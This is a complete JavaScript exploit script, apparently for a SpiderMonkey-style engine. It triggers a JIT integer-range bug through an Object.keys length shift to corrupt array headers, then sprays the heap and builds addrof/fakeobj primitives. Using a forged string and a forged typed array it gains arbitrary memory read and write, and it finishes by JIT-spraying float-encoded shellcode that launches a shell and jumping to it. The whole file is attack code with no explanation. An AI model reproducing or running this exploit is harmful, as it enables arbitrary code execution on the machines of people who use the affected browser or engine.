function opt(karr, arr) {
    let objectKeysLength = Object.keys(karr).length;
    // Expected: [0, 0x0fff_ffff]; Real: [0, 0x7fff_ffff]; Trigger: 0x1000_0000
    let leftShift = objectKeysLength << 3;
    // Expected: [0, 0x7fff_fff8]; Real: [0x8000_0000, 7fff_fff8]; Trigger: 0x8000_0000
    let lowerBound = leftShift >> 31;
    // Expected: [0, 0]; Real: [0xffff_ffff, 0]; Trigger: 0xffff_ffff (-1)
    lowerBound *= 2 ** 30;
    lowerBound *= 2;
    for (let i = 1; i >= lowerBound; i--) {
        if (i === 1 || i === lowerBound + 0x23dfffe || i === lowerBound + 0x23dffff) {
            arr[i] = (i === lowerBound + 0x23dfffe) ? -3.10503470400478748708402393647E231 : -3.10503471629489554592565359544E231;
            // flags, initializedLength, capacity, length
            // 0xEFFFFFFF00000000, 0xEFFFFFFF021FFFFE
        }
    }
}

let arr = [];

for (let i = 0; i < 10000; i++) {
    arr[i] = i + 0.1;
    opt(arr, arr);
}

print("Preparing large array for Object.keys().length...");
for (let i = 0; i < (1 << 28); i++) {
    arr[i] = i + 0.1;
}

let sprayRefArr = [];
const spray_count = 64;
for (let i = 0; i < spray_count; i++) {
    print(`Heap spraying large array: ${i + 1} / ${spray_count}`);
    let tmpArr;
    if (i % 2 == 1) {
        tmpArr = new Array(0x2000000);
        tmpArr.fill(i + 0.1);
    } else {
        tmpArr = new BigUint64Array(0x2000000);
        tmpArr.fill(BigInt(i));
    }
    sprayRefArr.push(tmpArr);
}
opt(arr, sprayRefArr[spray_count - 1]);

let bigIntArray = sprayRefArr[0];
let objArr = sprayRefArr[1];

print(`objArr.length: 0x${objArr.length.toString(16)}`);
if (objArr.length === 0x2000000) {
    throw new Error("Heap spray failed!");
}

function addrof(obj) {
    objArr[0x403fffe] = obj;
    return bigIntArray[0];
}

function fakeobj(addr) {
    bigIntArray[0] = addr;
    return objArr[0x403fffe];
}

class Debug {
    utility_buffer = new ArrayBuffer(8);
    utility_buffer_float = new Float64Array(this.utility_buffer, 0, 1);
    utility_buffer_int = new BigUint64Array(this.utility_buffer, 0, 1);
    prototypeInit() {
        let that = this;
        BigInt.prototype.hex = function () {
            return '0x' + this.toString(16);
        };
        BigInt.prototype.i2f = function () { // int to float
            that.utility_buffer_int[0] = this;
            return that.utility_buffer_float[0];
        }
        BigInt.prototype.smi2f = function () { // smi to float
            that.utility_buffer_int[0] = this << 32n;
            return that.utility_buffer_float[0];
        }

        Number.prototype.hex = function () {
            return BigInt(this).hex();
        }
        Number.prototype.i2f = function () { // int to float
            return BigInt(this).i2f();
        }
        Number.prototype.smi2f = function () { // smi to float
            return BigInt(this).smi2f();
        }
        Number.prototype.f2i = function () { // float to int
            that.utility_buffer_float[0] = this;
            return that.utility_buffer_int[0];
        }
        Number.prototype.f2smi = function () { // float to smi
            that.utility_buffer_float[0] = this;
            return that.utility_buffer_int[0] >> 32n;
        }
        Number.prototype.fhw = function () { // float high word (4 bytes)
            that.utility_buffer_float[0] = this;
            return that.utility_buffer_int[0] >> 32n;
        }
        Number.prototype.flw = function () { // float low word (4 bytes)
            that.utility_buffer_float[0] = this;
            return that.utility_buffer_int[0] & BigInt(2 ** 32 - 1);
        }
        Number.prototype.c2f = function (high, low) { // combined (two 4 bytes) word to float
            that.utility_buffer_int[0] = low;
            that.utility_buffer_int[1] = high;
            return that.utility_buffer_float[0];
        }
    }
    constructor() {
        this.prototypeInit();
    }
}

let debug = new Debug();

function unTagPtr(addr) {
    return addr & ((1n << 47n) - 1n);
}

function tagObjectPtr(addr) {
    return addr | ((0x1fff0n + 0xcn) << 47n);
}

function tagStringPtr(addr) {
    return addr | ((0x1fff0n + 0x6n) << 47n);
}

let fakeArenaCellSetContainer = new BigUint64Array(16); // js::gc::ArenaCellSet::Empty
let fakeArenaCellSetContainerAddr = addrof(fakeArenaCellSetContainer);
let fakeArenaCellSetAddr = unTagPtr(fakeArenaCellSetContainerAddr) + 0x38n;
print(`fakeArenaCellSetAddr: 0x${fakeArenaCellSetAddr.toString(16)}`);

let fakeJSExternalStringContainer = [
    fakeArenaCellSetAddr.i2f(),
    0b00000000000000000000000000000001_0000000000000000_0000001_100010_000n.i2f(), // js::gc::CellWithLengthAndFlags.header_: flags, length
    0x1234n.i2f() // JSString.d.s.u2.nonInlineCharsLatin1
];
let fakeJSExternalStringContainerAddr = addrof(fakeJSExternalStringContainer);
print(`fakeJSExternalStringContainerAddr: 0x${fakeJSExternalStringContainerAddr.toString(16)}`);
let fakeJSExternalStringAddr = tagStringPtr(unTagPtr(fakeJSExternalStringContainerAddr) + 0x30n);
print(`fakeJSExternalStringAddr: 0x${fakeJSExternalStringAddr.toString(16)}`);
let fakeStr = fakeobj(fakeJSExternalStringAddr);

function unstable_read8(addr) {
    fakeJSExternalStringContainer[2] = addr.i2f();
    return BigInt(fakeStr[0].charCodeAt(0));
}

function unstable_read64(addr) {
    let result = 0n;
    for (let i = 7n; i >= 0n; i--) {
        result *= 0x100n;
        result += unstable_read8(addr + i);
    }
    return result;
}

let fakeBigUint64ArrayContainer = fakeArenaCellSetContainer;
let fakeBigUint64ArrayContainerAddr = addrof(fakeBigUint64ArrayContainer);
print(`fakeBigUint64ArrayContainerAddr: 0x${fakeBigUint64ArrayContainerAddr.toString(16)}`);
for (let i = 0n; i < 4n; i++) {
    fakeBigUint64ArrayContainer[i] = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + i * 8n);
}
fakeBigUint64ArrayContainer[4] = 0x7fff_ffffn;
fakeBigUint64ArrayContainer[5] = 0n;
fakeBigUint64ArrayContainer[6] = 0x1234n;

let fakeBigUint64ArrayAddr = unstable_read64(unTagPtr(fakeBigUint64ArrayContainerAddr) + 0x30n);
print(`fakeBigUint64ArrayAddr: 0x${fakeBigUint64ArrayAddr.toString(16)}`);
let fakeBigUint64Array = fakeobj(tagObjectPtr(fakeBigUint64ArrayAddr));

function read64(addr) {
    fakeBigUint64ArrayContainer[6] = addr;
    return fakeBigUint64Array[0];
}

function write64(addr, value) {
    fakeBigUint64ArrayContainer[6] = addr;
    fakeBigUint64Array[0] = value;
}

fakeStr = undefined;

function shellcode() {
    find_me = 5.40900888e-315; // 0x41414141 in memory
    A = -6.828527034422786e-229; // 0x9090909090909090
    B = 1.0880924772192582856330718795E-306; // /bash
    // 8.568532312320605e+170; // /xcalc
    C = 1.4813365150669252e+248;
    D = -6.032447120847604e-264;
    E = -6.0391189260385385e-264;
    F = 1.0842822352493598e-25;
    G = 9.241363425014362e+44;
    H = 2.2104256869204514e+40;
    I = 2.4929675059396527e+40;
    J = 3.2459699498717e-310;
    K = 1.637926e-318;
}

print("Training shellcode function...");
for (let i = 0; i < 0x5000; i++) shellcode();
let shellcodeFunctionAddr = addrof(shellcode);
print(`shellcodeFunctionAddr: 0x${shellcodeFunctionAddr.toString(16)}`);

let JSJitInfoAddr = read64(unTagPtr(shellcodeFunctionAddr) + 0x28n);
print(`JSJitInfoAddr: 0x${JSJitInfoAddr.toString(16)}`);

let RXRegionAddr = read64(JSJitInfoAddr);
print(`RXRegionAddr: 0x${RXRegionAddr.toString(16)}`);

let findShellcodeFlag = false;
for (let i = 0n; i < 0x200n; i++) {
    let data = read64(RXRegionAddr);
    if (data === 0x41414141n) {
        findShellcodeFlag = true;
        break;
    }
    RXRegionAddr += 8n;
}

if (!findShellcodeFlag) {
    throw new Error("Unable to find shellcode!");
}
RXRegionAddr += 8n;
print(`ShellcodeAddr: 0x${RXRegionAddr.toString(16)}`);

write64(JSJitInfoAddr, RXRegionAddr);
print("Triggering shellcode...");
shellcode();
